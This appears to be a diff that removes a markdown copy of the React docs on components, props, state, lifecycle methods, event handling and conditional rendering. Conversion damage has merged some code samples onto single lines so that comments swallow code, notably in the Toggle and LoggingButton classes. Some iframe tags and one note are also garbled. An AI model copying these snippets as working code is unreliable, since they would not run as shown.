-You can verify by inspecting the [last example](https://reactjs.org/redirect-to-codepen/rendering-elements/update-rendered-element) with the browser tools:
-
-![https://reactjs.org/c158617ed7cc0eac8f58330e49e48224/granular-dom-updates.gif](https://reactjs.org/c158617ed7cc0eac8f58330e49e48224/granular-dom-updates.gif)
-
-Even though we create an element describing the whole UI tree on every tick, only the text node whose contents have changed gets updated by React DOM.
-
-> -   In our experience, thinking about how the UI should look at any given moment, rather than how to change it over time, eliminates a whole class of bugs.
-
----
-
----
-
-### **Components and Props**
-
----
-
-### Components let you split the UI into independent, reusable pieces, and think about each piece in isolation. This page provides an introduction to the idea of components. You can find a [detailed component API reference here](https://reactjs.org/docs/react-component.html).
-
-Conceptually, components are like JavaScript functions. They accept arbitrary inputs (called "props") and return React elements describing what should appear on the screen.
-
----
-
----
-
-### Function and Class Components
-
-The simplest way to define a component is to write a JavaScript function:
-
----
-
-```js
-function Welcome(props) {
-    return <h1>Hello, {props.name}</h1>;
-}
-```
-
--   This function is a valid React component because it accepts a single "props" (which stands for properties) object argument with data and returns a React element. We call such components "function components" because they are literally JavaScript functions.
-
-You can also use an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes) to define a component:
-
-```js
-class Welcome extends React.Component {
-    render() {
-        return <h1>Hello, {this.props.name}</h1>;
-    }
-}
-```
-
--   The above two components are equivalent from React's point of view.
-
-Function and Class components both have some additional features that we will discuss in the [next sections](https://reactjs.org/docs/state-and-lifecycle.html).
-
----
-
----
-
-### Rendering a Component
-
-Previously, we only encountered React elements that represent DOM tags:
-
-```js
-const element = <div />;
-```
-
-However, elements can also represent user-defined components:
-
-```js
-const element = <Welcome name="Sara" />;
-```
-
-> When React sees an element representing a user-defined component, it passes JSX attributes and children to this component as a single object. We call this object "props".
-
-##### For example, this code renders "Hello, Sara" on the page:
-
----
-
-```js
-function Welcome(props) {
-    return <h1>Hello, {props.name}</h1>;
-}
-
-const element = <Welcome name="Sara" />;
-ReactDOM.render(element, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/components-and-props/rendering-a-component"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_QWgwpjd?editors=0010)**](https://codepen.io/bgoonz/pen/QWgwpjd?editors=0010)
-
-Let's recap what happens in this example:
-
-1. We call `ReactDOM.render()` with the `<Welcome name="Sara" />` element.
-2. React calls the `Welcome` component with `{name: 'Sara'}` as the props.
-3. Our `Welcome` component returns a `<h1>Hello, Sara</h1>` element as the result.
-4. React DOM efficiently updates the DOM to match `<h1>Hello, Sara</h1>`.
-
-> Note: Always start component names with a capital letter.React treats components starting with lowercase letters as DOM tags. ##### For example,
->
-> represents an HTML div tag, but represents a component and requires Welcome to be in [scope.To](http://scope.to) learn more about the reasoning behind this convention, please read JSX In Depth.
-
----
-
----
-
-### Composing Components
-
-Components can refer to other components in their output. This lets us use the same component abstraction for any level of detail. A button, a form, a dialog, a screen: in React apps, all those are commonly expressed as components.
-
-##### For example, we can create an `App` component that renders `Welcome` many times:
-
----
-
-```js
-function Welcome(props) {
-    return <h1>Hello, {props.name}</h1>;
-}
-
-function App() {
-    return (
-        <div>
-            {' '}
-            <Welcome name="Sara" /> <Welcome name="Cahal" /> <Welcome name="Edite" />{' '}
-        </div>
-    );
-}
-
-ReactDOM.render(<App />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/components-and-props/composing-components"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_LYLEWNq?editors=0010)**](https://codepen.io/bgoonz/pen/LYLEWNq?editors=0010)
-
-Typically, new React apps have a single `App` component at the very top. However, if you integrate React into an existing app, you might start bottom-up with a small component like `Button` and gradually work your way to the top of the view hierarchy.
-
----
-
----
-
-### Extracting Components
-
-Don't be afraid to split components into smaller components.
-
-##### For example, consider this `Comment` component:
-
----
-
-```js
-function Comment(props) {
-    return (
-        <div className="Comment">
-            <div className="UserInfo">
-                <img className="Avatar" src={props.author.avatarUrl} alt={props.author.name} />
-                <div className="UserInfo-name">{props.author.name}</div>
-            </div>
-            <div className="Comment-text">{props.text}</div>
-            <div className="Comment-date">{formatDate(props.date)}</div>
-        </div>
-    );
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/bgoonz/pen/PojwpzP?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_PojwpzP?editors=0010)**](https://codepen.io/bgoonz/pen/PojwpzP?editors=0010)
-
-It accepts `author` (an object), `text` (a string), and `date` (a date) as props, and describes a comment on a social media website.
-
-This component can be tricky to change because of all the nesting, and it is also hard to reuse individual parts of it. Let's extract a few components from it.
-
-First, we will extract `Avatar`:
-
----
-
-```js
-function Avatar(props) {
-    return <img className="Avatar" src={props.user.avatarUrl} alt={props.user.name} />;
-}
-```
-
--   The `Avatar` doesn't need to know that it is being rendered inside a `Comment`. This is why we have given its prop a more generic name: `user` rather than `author`.
-
-##### We recommend naming props from the component's own point of view rather than the context in which it is being used.
-
-##### We can now simplify `Comment` a tiny bit:
-
----
-
-```js
-function Comment(props) {
-    return (
-        <div className="Comment">
-            {' '}
-            <div className="UserInfo">
-                {' '}
-                <Avatar user={props.author} /> <div className="UserInfo-name"> {props.author.name}</div>{' '}
-            </div> <div className="Comment-text"> {props.text}</div> <div className="Comment-date"> {formatDate(props.date)}</div>{' '}
-        </div>
-    );
-}
-```
-
-Next, we will extract a `UserInfo` component that renders an `Avatar` next to the user's name:
-
-`function UserInfo(props) { return ( <div className="UserInfo"> <Avatar user={props.user} /> <div className="UserInfo-name"> {props.user.name} </div> </div> ); }`
-
-This lets us simplify `Comment` even further:
-
----
-
-```js
-function Comment(props) {
-    return (
-        <div className="Comment">
-            {' '}
-            <UserInfo user={props.author} /> <div className="Comment-text"> {props.text}</div> <div className="Comment-date">
-                {' '}
-                {formatDate(props.date)}
-            </div>{' '}
-        </div>
-    );
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/components-and-props/extracting-components-continued"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_eYRmvzV?editors=0010)**](https://codepen.io/bgoonz/pen/eYRmvzV?editors=0010)
-
-Extracting components might seem like grunt work at first, but having a palette of reusable components pays off in larger apps. A good rule of thumb is that if a part of your UI is used several times (`Button`, `Panel`, `Avatar`), or is complex enough on its own (`App`, `FeedStory`, `Comment`), it is a good candidate to be extracted to a separate component.
-
----
-
----
-
-### Props are Read-Only
-
-Whether you declare a component [as a function or a class](https://reactjs.org/docs/components-and-props.html#function-and-class-components), it must never modify its own props. Consider this `sum` function:
-
----
-
-```js
-function sum(a, b) {
-    return a + b;
-}
-```
-
-Such functions are called ["pure"](https://en.wikipedia.org/wiki/Pure_function) because they do not attempt to change their inputs, and always return the same result for the same inputs.
-
-> -   In contrast, this function is impure because it changes its own input:
-
----
-
-```js
-function withdraw(account, amount) {
-    account.total -= amount;
-}
-```
-
-React is pretty flexible but it has a single strict rule:
-
-**All React components must act like pure functions with respect to their props.**
-
-Of course, application UIs are dynamic and change over time. In the [next section](https://reactjs.org/docs/state-and-lifecycle.html), we will introduce a new concept of "state". State allows React components to change their output over time in response to user actions, network responses, and anything else, without violating this rule.
-
----
-
----
-
-### **State and Lifecycle**
-
----
-
-### This page introduces the concept of state and lifecycle in a React component. You can find a [detailed component API reference here](https://reactjs.org/docs/react-component.html).
-
-Consider the ticking clock example from [one of the previous sections](https://reactjs.org/docs/rendering-elements.html#updating-the-rendered-element). In [Rendering Elements](https://reactjs.org/docs/rendering-elements.html#rendering-an-element-into-the-dom), we have only learned one way to update the UI. We call `ReactDOM.render()` to change the rendered output:
-
----
-
-```js
-function tick() {
-    const element = (
-        <div>
-            {' '}
-            <h1>Hello, world!</h1> <h2>It is {new Date().toLocaleTimeString()}.</h2>{' '}
-        </div>
-    );
-    ReactDOM.render(element, document.getElementById('root'));
-}
-
-setInterval(tick, 1000);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/gwoJZk?editors=0010)
-
-> -   In this section, we will learn how to make the `Clock` component truly reusable and encapsulated. It will set up its own timer and update itself every second.
-
-##### We can start by encapsulating how the clock looks:
-
----
-
-```js
-function Clock(props) {
-    return (
-        <div>
-            {' '}
-            <h1>Hello, world!</h1> <h2>It is {props.date.toLocaleTimeString()}.</h2>{' '}
-        </div>
-    );
-}
-
-function tick() {
-    ReactDOM.render(<Clock date={new Date()} />, document.getElementById('root'));
-}
-
-setInterval(tick, 1000);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/dpdoYR?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_powvegw?editors=0010)**](https://codepen.io/bgoonz/pen/powvegw?editors=0010)
-
-However, it misses a crucial requirement: the fact that the `Clock` sets up a timer and updates the UI every second should be an implementation detail of the `Clock`.
-
-Ideally we want to write this once and have the `Clock` update itself:
-
-```js
-ReactDOM.render(<Clock />, document.getElementById('root'));
-```
-
--   To implement this, we need to add "state" to the `Clock` component.
-
-State is similar to props, but it is private and fully controlled by the component.
-
----
-
----
-
-### Converting a Function to a Class
-
-You can convert a function component like `Clock` to a class in five steps:
-
-1. Create an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes), with the same name, that extends `React.Component`.
-2. Add a single empty method to it called `render()`.
-3. Move the body of the function into the `render()` method.
-4. Replace `props` with `this.props` in the `render()` body.
-5. Delete the remaining empty function declaration.
-
-```
-class Clock extends React.Component {
-  render() {
-    return (
-      <div>
-        <h1>Hello, world!</h1>
-        <h2>It is {this.props.date.toLocaleTimeString()}.</h2>
-      </div>);
-  }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/zKRGpo?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(~~pen=~~**\_eYRmvJV?editors=0010)**](https://codepen.io/bgoonz/pen/eYRmvJV?editors=0010)
-
-`Clock` is now defined as a class rather than a function.
-
-The `render` method will be called each time an update happens, but as long as we render `<Clock />` into the same DOM node, only a single instance of the `Clock` class will be used. This lets us use additional features such as local state and lifecycle methods.
-
----
-
----
-
-### Adding Local State to a Class
-
-##### We will move the `date` from props to state in three steps:
-
-1. Replace `this.props.date` with `this.state.date` in the `render()` method:
-
-```js
-class Clock extends React.Component {
-    render() {
-        return (
-            <div>
-                {' '}
-                <h1>Hello, world!</h1> <h2>It is {this.state.date.toLocaleTimeString()}.</h2>{' '}
-            </div>
-        );
-    }
-}
-```
-
-1. Add a [class constructor](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes#Constructor) that assigns the initial `this.state`:
-
-```js
-class Clock extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = { date: new Date() };
-    }
-
-    render() {
-        return (
-            <div>
-                {' '}
-                <h1>Hello, world!</h1> <h2>It is {this.state.date.toLocaleTimeString()}.</h2>{' '}
-            </div>
-        );
-    }
-}
-```
-
-Note how we pass `props` to the base constructor:
-
-```js
- constructor(props) {
-    super(props);    this.state = {date: new Date()};
-  }
-```
-
-Class components should always call the base constructor with `props`.
-
-1. Remove the `date` prop from the `<Clock />` element:
-
-```js
-ReactDOM.render(<Clock />, document.getElementById('root'));
-```
-
-> We will later add the timer code back to the component itself.
-
-The result looks like this:
-
-```js
-class Clock extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = { date: new Date() };
-    }
-    render() {
-        return (
-            <div>
-                {' '}
-                <h1>Hello, world!</h1> <h2>It is {this.state.date.toLocaleTimeString()}.</h2>{' '}
-            </div>
-        );
-    }
-}
-
-ReactDOM.render(<Clock />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/KgQpJd?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_oNwgZbV?editors=0010)**](https://codepen.io/bgoonz/pen/oNwgZbV?editors=0010)
-
-Next, we'll make the `Clock` set up its own timer and update itself every second.
-
----
-
----
-
-### Adding Lifecycle Methods to a Class
-
-> -   In applications with many components, it's very important to free up resources taken by the components when they are destroyed.
-
-##### We want to [set up a timer](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setInterval) whenever the `Clock` is rendered to the DOM for the first time. This is called "mounting" in React.
-
-##### We also want to [clear that timer](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/clearInterval) whenever the DOM produced by the `Clock` is removed. This is called "unmounting" in React.
-
-##### We can declare special methods on the component class to run some code when a component mounts and unmounts:
-
-```js
-class Clock extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = { date: new Date() };
-    }
-
-    componentDidMount() {}
-    componentWillUnmount() {}
-    render() {
-        return (
-            <div>
-                {' '}
-                <h1>Hello, world!</h1> <h2>It is {this.state.date.toLocaleTimeString()}.</h2>{' '}
-            </div>
-        );
-    }
-}
-```
-
--   These methods are called "lifecycle methods".
-
-The `componentDidMount()` method runs after the component output has been rendered to the DOM. This is a good place to set up a timer:
-
-```js
-  componentDidMount() {
-    this.timerID = setInterval(      () => this.tick(),      1000    );  }
-```
-
-Note how we save the timer ID right on `this` (`this.timerID`).
-
-While `this.props` is set up by React itself and `this.state` has a special meaning, you are free to add additional fields to the class manually if you need to store something that doesn't participate in the data flow (like a timer ID).
-
-##### We will tear down the timer in the `componentWillUnmount()` lifecycle method:
-
-```js
-  componentWillUnmount() {
-    clearInterval(this.timerID);  }
-```
-
-Finally, we will implement a method called `tick()` that the `Clock` component will run every second.
-
-It will use `this.setState()` to schedule updates to the component local state:
-
-```js
-class Clock extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = { date: new Date() };
-    }
-
-    componentDidMount() {
-        this.timerID = setInterval(() => this.tick(), 1000);
-    }
-
-    componentWillUnmount() {
-        clearInterval(this.timerID);
-    }
-
-    tick() {
-        this.setState({ date: new Date() });
-    }
-    render() {
-        return (
-            <div>
-                {' '}
-                <h1>Hello, world!</h1> <h2>It is {this.state.date.toLocaleTimeString()}.</h2>{' '}
-            </div>
-        );
-    }
-}
-
-ReactDOM.render(<Clock />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/amqdNA?editors=0010)
-
-Now the clock ticks every second.
-
-Let's quickly recap what's going on and the order in which the methods are called:
-
-1. When `<Clock />` is passed to `ReactDOM.render()`, React calls the constructor of the `Clock` component. Since `Clock` needs to display the current time, it initializes `this.state` with an object including the current time. We will later update this state.
-2. React then calls the `Clock` component's `render()` method. This is how React learns what should be displayed on the screen. React then updates the DOM to match the `Clock`'s render output.
-3. When the `Clock` output is inserted in the DOM, React calls the `componentDidMount()` lifecycle method. Inside it, the `Clock` component asks the browser to set up a timer to call the component's `tick()` method once a second.
-4. Every second the browser calls the `tick()` method. Inside it, the `Clock` component schedules a UI update by calling `setState()` with an object containing the current time. Thanks to the `setState()` call, React knows the state has changed, and calls the `render()` method again to learn what should be on the screen. This time, `this.state.date` in the `render()` method will be different, and so the render output will include the updated time. React updates the DOM accordingly.
-5. If the `Clock` component is ever removed from the DOM, React calls the `componentWillUnmount()` lifecycle method so the timer is stopped.
-
----
-
----
-
-### Using State Correctly
-
-There are three things you should know about `setState()`.
-
----
-
----
-
-### Do Not Modify State Directly
-
-##### For example, this will not re-render a component:
-
-```js
-// Wrong
-this.state.comment = 'Hello';
-```
-
-#### Instead, use `setState()`:
-
-```js
-// Correct
-this.setState({ comment: 'Hello' });
-```
-
--   The only place where you can assign `this.state` is the constructor.
-
----
-
----
-
-### State Updates May Be Asynchronous
-
-React may batch multiple `setState()` calls into a single update for performance.
-
-Because `this.props` and `this.state` may be updated asynchronously, you should not rely on their values for calculating the next state.
-
-##### For example, this code may fail to update the counter:
-
-```js
-// Wrong
-this.setState({
-    counter: this.state.counter + this.props.increment
-});
-```
-
--   To fix it, use a second form of `setState()` that accepts a function rather than an object. That function will receive the previous state as the first argument, and the props at the time the update is applied as the second argument:
-
-```js
-// Correct
-this.setState((state, props) => ({
-    counter: state.counter + props.increment
-}));
-```
-
-> We used an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) above, but it also works with regular functions:
-
-```js
-// Correct
-this.setState(function (state, props) {
-    return {
-        counter: state.counter + props.increment
-    };
-});
-```
-
----
-
----
-
-### State Updates are Merged
-
-When you call `setState()`, React merges the object you provide into the current state.
-
-##### For example, your state may contain several independent variables:
-
-```js
-  constructor(props) {
-    super(props);
-    this.state = {
-      posts: [],      comments: []    };
-  }
-```
-
--   Then you can update them independently with separate `setState()` calls:
-
-```js
-  componentDidMount() {
-    fetchPosts().then(response => {
-      this.setState({
-        posts: response.posts      });
-    });
-
-    fetchComments().then(response => {
-      this.setState({
-        comments: response.comments      });
-    });
-  }
-```
-
--   The merging is shallow, so `this.setState({comments})` leaves `this.state.posts` intact, but completely replaces `this.state.comments`.
-
----
-
----
-
-### The Data Flows Down
-
-Neither parent nor child components can know if a certain component is stateful or stateless, and they shouldn't care whether it is defined as a function or a class.
-
-This is why state is often called local or encapsulated. It is not accessible to any component other than the one that owns and sets it.
-
-A component may choose to pass its state down as props to its child components:
-
-```js
-<FormattedDate date={this.state.date} />
-```
-
--   The `FormattedDate` component would receive the `date` in its props and wouldn't know whether it came from the `Clock`'s state, from the `Clock`'s props, or was typed by hand:
-
----
-
-```js
-function FormattedDate(props) {
-    return <h2>It is {props.date.toLocaleTimeString()}.</h2>;
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/zKRqNB?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_GREgWEp?editors=0010)**](https://codepen.io/bgoonz/pen/GREgWEp?editors=0010)
-
-This is commonly called a "top-down" or "unidirectional" data flow. Any state is always owned by some specific component, and any data or UI derived from that state can only affect components "below" them in the tree.
-
-If you imagine a component tree as a waterfall of props, each component's state is like an additional water source that joins it at an arbitrary point but also flows down.
-
-To show that all components are truly isolated, we can create an `App` component that renders three `<Clock>`s:
-
----
-
-```js
-function App() {
-    return (
-        <div>
-            {' '}
-            <Clock /> <Clock /> <Clock />{' '}
-        </div>
-    );
-}
-
-ReactDOM.render(<App />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/vXdGmd?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_YzQPZQK?editors=0010)**](https://codepen.io/bgoonz/pen/YzQPZQK?editors=0010)
-
-Each `Clock` sets up its own timer and updates independently.
-
-> -   In React apps, whether a component is stateful or stateless is considered an implementation detail of the component that may change over time. You can use stateless components inside stateful components, and vice versa.
-
----
-
----
-
-### **Handling Events**
-
----
-
-### Handling events with React elements is very similar to handling events on DOM elements. There are some syntax differences:
-
--   React events are named using camelCase, rather than lowercase.
--   With JSX you pass a function as the event handler, rather than a string.
-
-##### For example, the HTML:
-
-```js
-<button onclick="activateLasers()">Activate Lasers</button>
-```
-
-is slightly different in React:
-
-```js
-<button onClick={activateLasers}> Activate Lasers</button>
-```
-
-Another difference is that you cannot return `false` to prevent default behavior in React. You must call `preventDefault` explicitly. ##### For example, with plain HTML, to prevent the default form behavior of submitting, you can write:
-
-```js
-<form onsubmit="console.log('You clicked submit.'); return false">
-    <button type="submit">Submit</button>
-</form>
-```
-
-#### In React, this could instead be:
-
----
-
-```js
-function Form() {
-    function handleSubmit(e) {
-        e.preventDefault();
-        console.log('You clicked submit.');
-    }
-
-    return (
-        <form onSubmit={handleSubmit}>
-            {' '}
-            <button type="submit">Submit</button>{' '}
-        </form>
-    );
-}
-```
-
-Here, `e` is a synthetic event. React defines these synthetic events according to the [W3C spec](https://www.w3.org/TR/DOM-Level-3-Events/), so you don't need to worry about cross-browser compatibility. React events do not work exactly the same as native events. See the `[SyntheticEvent](<https://reactjs.org/docs/events.html>)` reference guide to learn more.
-
-When using React, you generally don't need to call `addEventListener` to add listeners to a DOM element after it is created. Instead, just provide a listener when the element is initially rendered.
-
-When you define a component using an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes), a common pattern is for an event handler to be a method on the class. ##### For example, this `Toggle` component renders a button that lets the user toggle between "ON" and "OFF" states:
-
-```js
-class Toggle extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {isToggleOn: true};
-
-    // This binding is necessary to make `this` work in the callback    this.handleClick = this.handleClick.bind(this);  }
-
-  handleClick() {    this.setState(prevState => ({      isToggleOn: !prevState.isToggleOn    }));  }render() {
-    return (
-      <button onClick={this.handleClick}>        {this.state.isToggleOn ? 'ON' : 'OFF'}
-      </button>);
-  }
-}
-
-ReactDOM.render(
-  <Toggle />,
-  document.getElementById('root')
-);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/xEmzGg?editors=0010)
-
-You have to be careful about the meaning of `this` in JSX callbacks. In JavaScript, class methods are not [bound](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Function/bind) by default. If you forget to bind `this.handleClick` and pass it to `onClick`, `this` will be `undefined` when the function is actually called.
-
-This is not React-specific behavior; it is a part of [how functions work in JavaScript](https://www.smashingmagazine.com/2014/01/understanding-javascript-function-prototype-bind/). Generally, if you refer to a method without `()` after it, such as `onClick={this.handleClick}`, you should bind that method.
-
-If calling `bind` annoys you, there are two ways you can get around this. If you are using the experimental [public class fields syntax](https://babeljs.io/docs/plugins/transform-class-properties/), you can use class fields to correctly bind callbacks:
-
-```js
-class LoggingButton extends React.Component {
-  // This syntax ensures `this` is bound within handleClick.  // Warning: this is *experimental* syntax.  handleClick = () => {    console.log('this is:', this);  }render() {
-    return (
-      <button onClick={this.handleClick}>        Click me
-      </button>);
-  }
-}
-```
-
--   This syntax is enabled by default in [Create React App](https://github.com/facebookincubator/create-react-app).
-
-If you aren't using class fields syntax, you can use an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) in the callback:
-
-```js
-class LoggingButton extends React.Component {
-  handleClick() {
-    console.log('this is:', this);
-  }
-
-  render() {
-    // This syntax ensures `this` is bound within handleClick    return (      <button onClick={() => this.handleClick()}>        Click me
-      </button>);
-  }
-}
-```
-
--   The problem with this syntax is that a different callback is created each time the `LoggingButton` renders. In most cases, this is fine. However, if this callback is passed as a prop to lower components, those components might do an extra re-rendering. We generally recommend binding in the constructor or using the class fields syntax, to avoid this sort of performance problem.
-
----
-
----
-
-### Passing Arguments to Event Handlers
-
-Inside a loop, it is common to want to pass an extra parameter to an event handler. ##### For example, if `id` is the row ID, either of the following would work:
-
-`<button onClick={(e) => this.deleteRow(id, e)}>Delete Row</button><button onClick={this.deleteRow.bind(this, id)}>Delete Row</button>`
-
-The above two lines are equivalent, and use [arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) and `[Function.prototype.bind](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/Function/bind>)` respectively.
-
-> -   In both cases, the `e` argument representing the React event will be passed as a second argument after the ID. With an arrow function, we have to pass it explicitly, but with `bind` any further arguments are automatically forwarded.
-
----
-
----
-
-### **Conditional Rendering**
-
----
-
-### In React, you can create distinct components that encapsulate behavior you need. Then, you can render only some of them, depending on the state of your application.
-
-Conditional rendering in React works the same way conditions work in JavaScript. Use JavaScript operators like `[if](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if...else>)` or the [conditional operator](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator) to create elements representing the current state, and let React update the UI to match them.
-
-Consider these two components:
-
----
-
-```js
-function UserGreeting(props) {
-    return <h1>Welcome back!</h1>;
-}
-
-function GuestGreeting(props) {
-    return <h1>Please sign up.</h1>;
-}
-```
-
-##### We'll create a `Greeting` component that displays either of these components depending on whether a user is logged in:
-
----
-
-```js
-function Greeting(props) {
-    const isLoggedIn = props.isLoggedIn;
-    if (isLoggedIn) {
-        return <UserGreeting />;
-    }
-    return <GuestGreeting />;
-}
-ReactDOM.render(
-    // Try changing to isLoggedIn={true}:
-    <Greeting isLoggedIn={false} />,
-    document.getElementById('root')
-);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/ZpVxNq?editors=0011"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_mdwyWmJ?editors=0011)**](https://codepen.io/bgoonz/pen/mdwyWmJ?editors=0011)
-
-This example renders a different greeting depending on the value of `isLoggedIn` prop.
-
----
-
----
-
-### Element Variables
-
-You can use variables to store elements. This can help you conditionally render a part of the component while the rest of the output doesn't change.
-
-Consider these two new components representing Logout and Login buttons:
-
----
-
-```js
-function LoginButton(props) {
-    return <button onClick={props.onClick}>Login</button>;
-}
-
-function LogoutButton(props) {
-    return <button onClick={props.onClick}>Logout</button>;
-}
-```
-
-#### In the example below, we will create a [stateful component](https://reactjs.org/docs/state-and-lifecycle.html#adding-local-state-to-a-class) called `LoginControl`.
-
-It will render either `<LoginButton />` or `<LogoutButton />` depending on its current state. It will also render a `<Greeting />` from the previous example:
-
-```js
-class LoginControl extends React.Component {
-    constructor(props) {
-        super(props);
-        this.handleLoginClick = this.handleLoginClick.bind(this);
-        this.handleLogoutClick = this.handleLogoutClick.bind(this);
-        this.state = { isLoggedIn: false };
-    }
-
-    handleLoginClick() {
-        this.setState({ isLoggedIn: true });
-    }
-
-    handleLogoutClick() {
-        this.setState({ isLoggedIn: false });
-    }
-
-    render() {
-        const isLoggedIn = this.state.isLoggedIn;
-        let button;
-        if (isLoggedIn) {
-            button = <LogoutButton onClick={this.handleLogoutClick} />;
-        } else {
-            button = <LoginButton onClick={this.handleLoginClick} />;
-        }
-        return (
-            <div>
-                {' '}
-                <Greeting isLoggedIn={isLoggedIn} /> {button}{' '}
-            </div>
-        );
-    }
-}
-
-ReactDOM.render(<LoginControl />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/QKzAgB?editors=0010)
-
-While declaring a variable and using an `if` statement is a fine way to conditionally render a component, sometimes you might want to use a shorter syntax. There are a few ways to inline conditions in JSX, explained below.
-
----
-
----
-
-### Inline If with Logical && Operator
-
-You may [embed expressions in JSX](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) by wrapping them in curly braces. This includes the JavaScript logical `&&` operator. It can be handy for conditionally including an element:
-
----
-
-```js
-function Mailbox(props) {
-    const unreadMessages = props.unreadMessages;
-    return (
-        <div>
-            {' '}
-            <h1>Hello!</h1> {unreadMessages.length > 0 && <h2> You have {unreadMessages.length} unread messages. </h2>}{' '}
-        </div>
-    );
-}
-
-const messages = ['React', 'Re: React', 'Re:Re: React'];
-ReactDOM.render(<Mailbox unreadMessages={messages} />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/ozJddz?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_VwWYppo?editors=0010)**](https://codepen.io/bgoonz/pen/VwWYppo?editors=0010)
-
-It works because in JavaScript, `true && expression` always evaluates to `expression`, and `false && expression` always evaluates to `false`.
-
-Therefore, if the condition is `true`, the element right after `&&` will appear in the output. If it is `false`, React will ignore and skip it.
-
-Note that returning a falsy expression will still cause the element after `&&` to be skipped but will return the falsy expression. In the example below, `<div>0</div>` will be returned by the render method.
-
-```
-render() {
-  const count = 0;  return (
-    <div>      { count && <h1>Messages: {count}</h1>}    </div>);
-}
-```
-
----
-
----
-
-### Inline If-Else with Conditional Operator
-
-Another method for conditionally rendering elements inline is to use the JavaScript conditional operator `[condition ? true : false](<https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator>)`.
-
-> -   In the example below, we use it to conditionally render a small block of text.
-
-```
-render() {
-  const isLoggedIn = this.state.isLoggedIn;
-  return (
-    <div>      The user is <b>{isLoggedIn ? 'currently' : 'not'}</b> logged in.    </div>);
-}
-```
-
-It can also be used for larger expressions although it is less obvious what's going on:
-
-```js
-render() {
-  const isLoggedIn = this.state.isLoggedIn;
-  return (
-    <div>      {isLoggedIn        ? <LogoutButton onClick={this.handleLogoutClick} />        : <LoginButton onClick={this.handleLoginClick} />      }
-    </div>  );
-}
-```
-
-Just like in JavaScript, it is up to you to choose an appropriate style based on what you and your team consider more readable. Also remember that whenever conditions become too complex, it might be a good time to [extract a component](https://reactjs.org/docs/components-and-props.html#extracting-components).
-
----
-
----
-
-### Preventing Component from Rendering
-
-> -   In rare cases you might want a component to hide itself even though it was rendered by another component. To do this return `null` instead of its render output.
-
-> -   In the example below, the `<WarningBanner />` is rendered depending on the value of the prop called `warn`. If the value of the prop is `false`, then the component does not render:
-
----
-
-```js
-function WarningBanner(props) {
-    if (!props.warn) {
-        return null;
-    }
-    return <div className="warning"> Warning!</div>;
-}
-
-class Page extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = { showWarning: true };
-        this.handleToggleClick = this.handleToggleClick.bind(this);
-    }
-
-    handleToggleClick() {
-        this.setState((state) => ({
-            showWarning: !state.showWarning
-        }));
-    }
-
-    render() {
-        return (
-            <div>
-                {' '}
-                <WarningBanner warn={this.state.showWarning} /> <button onClick={this.handleToggleClick}>
-                    {' '}
-                    {this.state.showWarning ? 'Hide' : 'Show'}
-                </button>{' '}
-            </div>
-        );
-    }
-}
-
-ReactDOM.render(<Page />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/Xjoqwm?editors=0010)
-
